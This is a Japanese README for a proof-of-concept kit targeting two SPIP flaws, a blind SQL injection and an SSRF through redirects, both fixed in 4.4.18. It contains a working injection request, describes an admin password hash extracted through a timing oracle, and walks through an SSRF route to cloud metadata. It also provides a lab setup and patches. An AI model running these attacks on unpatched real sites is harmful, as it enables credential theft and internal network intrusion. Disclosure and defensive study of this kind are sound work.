
SPIPにおけるCVE-2026-72708(ブラインドSQLi)およびCVE-2026-109378(SSRF)のPoC。いずれも4.4.18で修正済み
SPIP で報告した2件の脆弱性に関する再現可能な概念実証資料です。いずれも 4.4.18 で修正されています。
| CVE | 分類 | 認証 | CVSS 4.0 | シンク |
|---|---|---|---|---|
| CVE-2026-72708 | ブラインド SQL インジェクション (CWE-89) | 不要 | 8.7 High | ecrire/req/mysql.php:1730 |
| CVE-2026-109378 | HTTP リダイレクト経由の SSRF (CWE-918) | 低 | 5.3 Medium | ecrire/inc/distant.php:567-582 |
両方とも 2026-08-05 に [email protected] へ報告しました。SPIP は 2026-08-10 に 4.4.18 で修正をリリースしました。本資料はパッチ適用後に公開されており、それこそが公開の趣旨です。
ここにあるものはすべて
127.0.0.1にバインドされた使い捨てのローカルラボに対して実行されます。 所有していないホストに対して実行しないでください。
spip_mysql_cite() は、宛先カラムが日付型で値が /^\w+\(/ に一致する場合、値をクォートせずに返します:
} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
return $v;
}
この正規表現は NOW() を文字列ではなく関数呼び出しとして通すためのものでした。関数呼び出しの形をチェックしており、名前は見ていないため、SLEEP(5)、IF(...)、UPDATEXML(...) もすべて条件を満たしてしまいます。
到達可能なシンクは squelettes-dist/sitemap.xml.html の {annee?} 条件であり、これはすべてのインストールに同梱され、datetime カラムと比較します。サイトマップは公開されているため、アカウントは不要です:
GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0)
実行します:
bash CVE-2026-72708-sqli/poc_sqli.sh
スクリプトはシンクを証明し、SLEEP() 引数を追跡する遅延を示したうえで、
純粋なタイミングオラクルを通じて管理者パスワードハッシュの最初の12文字を復元し、
その結果をデータベースと照合して検証します。
SLEEP() は WHERE
句の中にあり、MySQLはこれを行ごとに評価します。記事がゼロ件の場合、これは決して発火しません。
lab/seed.sh は公開済みの記事を1件挿入します。&z=<random>)を追加してください。スクリプトはすでにそうしています。SPIPには、valider_url_distante() という真に優れたSSRFガードがあります。スキームの
ホワイトリスト、プライベートおよび予約済みレンジ、リンクローカル、DNSリバインディング、認証情報を含む
URLに対応しています。呼び出し元はフェッチ前にこれを実行します。
その後 recuperer_url() は最大10回のリダイレクトを追跡しますが、これからフェッチしようとする
ターゲットを再検証することは決してありません:
$url = suivre_lien($url, $res['location']); // 571, attacker controlled
// ... method adjustment, a log line ...
return recuperer_url($url, $options); // 582, fetched
検証を通過したホストからの 302 は、ガードがブロックするために構築されたあらゆるものへとそのまま進みます。169.254.169.254 も含まれます。
実行方法:
docker exec -w /var/www/html spiplab-app php /tmp/poc_ssrf.php
スクリプトは、ガードが7つの敵対的URLを正しく拒否する様子を示し、その後、それらのURLのうち1つをリダイレクト経由で取得して内容を出力します。
cd lab
docker compose up -d # SPIP 4.4.16 + MariaDB, bound to 127.0.0.1:8888
sleep 40 # auto install
bash seed.sh # one published article, clears the page cache
データベースにはホストポートがありません。Webコンテナはループバックのみで待ち受けます。
docker compose down -v で削除します。
SSRFパスを試すには、代役のリダイレクタと内部専用サービスも必要です:
docker cp redir.php spiplab-app:/var/www/html/redir.php
docker exec spiplab-app sh -c 'mkdir -p /tmp/internal && \
echo "INTERNAL-SERVICE-SECRET-7f3a9c2e" > /tmp/internal/secret.txt && \
(setsid nohup php -S 0.0.0.0:9001 -t /tmp/internal >/tmp/internal/srv.log 2>&1 &)'
redir.php は ?to= に指定された内容へ 302 を返すだけです。実際の攻撃では、その役割はガードが許可して問題ない公開ホストによって担われます。
各ディレクトリの requests/ には、上記の実行中にネットワーク上でキャプチャされた生の HTTP 交換が、各ステップごとに 1 つの .req と 1 つの .res として保存されています。.req をそのまま Burp Repeater に貼り付けてください。
SQLi については、興味深いペアは sqli-03-oracle-true(2.051 秒)と sqli-04-oracle-false(0.049 秒)です。同じ問い合わせで、しきい値を 1 つ動かしただけで、答えは応答時間の差として現れます。ボディは同一です。
SSRF については、ssrf-02-internal-hits.log が内部サービスのアクセスログであり、SPIP が解決を拒否したばかりのホストに到達している様子を示しています。
SQL インジェクションについては、緩い正規表現をホワイトリストに置き換えます:
} elseif (sql_test_date($type) and preg_match(
'/^(NOW|CURDATE|CURTIME|CURRENT_TIMESTAMP|CURRENT_DATE|CURRENT_TIME|UTC_DATE|UTC_TIME|UTC_TIMESTAMP)\s*\(\s*\)$/i',
$v
)) {
ecrire/req/sqlite_generique.php にも同じ変更を適用します。
SSRF: リダイレクト先に従う前に、そのターゲットを検証します:
$url = suivre_lien($url, $res['location']);
if (!valider_url_distante($url)) {
spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
return false;
}
return recuperer_url($url, $options);
または、両方を含む 4.4.18 にアップグレードするだけです。
CVE-2026-72708 は、Lexfo / Ambionics の Franck Chevalier (Wayko) によって独立に共同発見されました。同氏は同じシンク、同じ未認証のエントリポイントを発見し、CVE-2026-72709 および CVE-2026-72710 を経由したリモートコード実行までの完全なチェーンを構築しました。同氏の解説記事はより詳細な技術文書であり、同氏のツールは ambionics/spip-exploits にあります。
CVE-2026-109378 は単独で報告されました。
MIT。ディフェンダー、監査担当者、そしてなぜ 15 文字の正規表現が 8.7 ポイントの価値を持つことになったのかを理解したいすべての人のために公開されています。
-- ka3n1x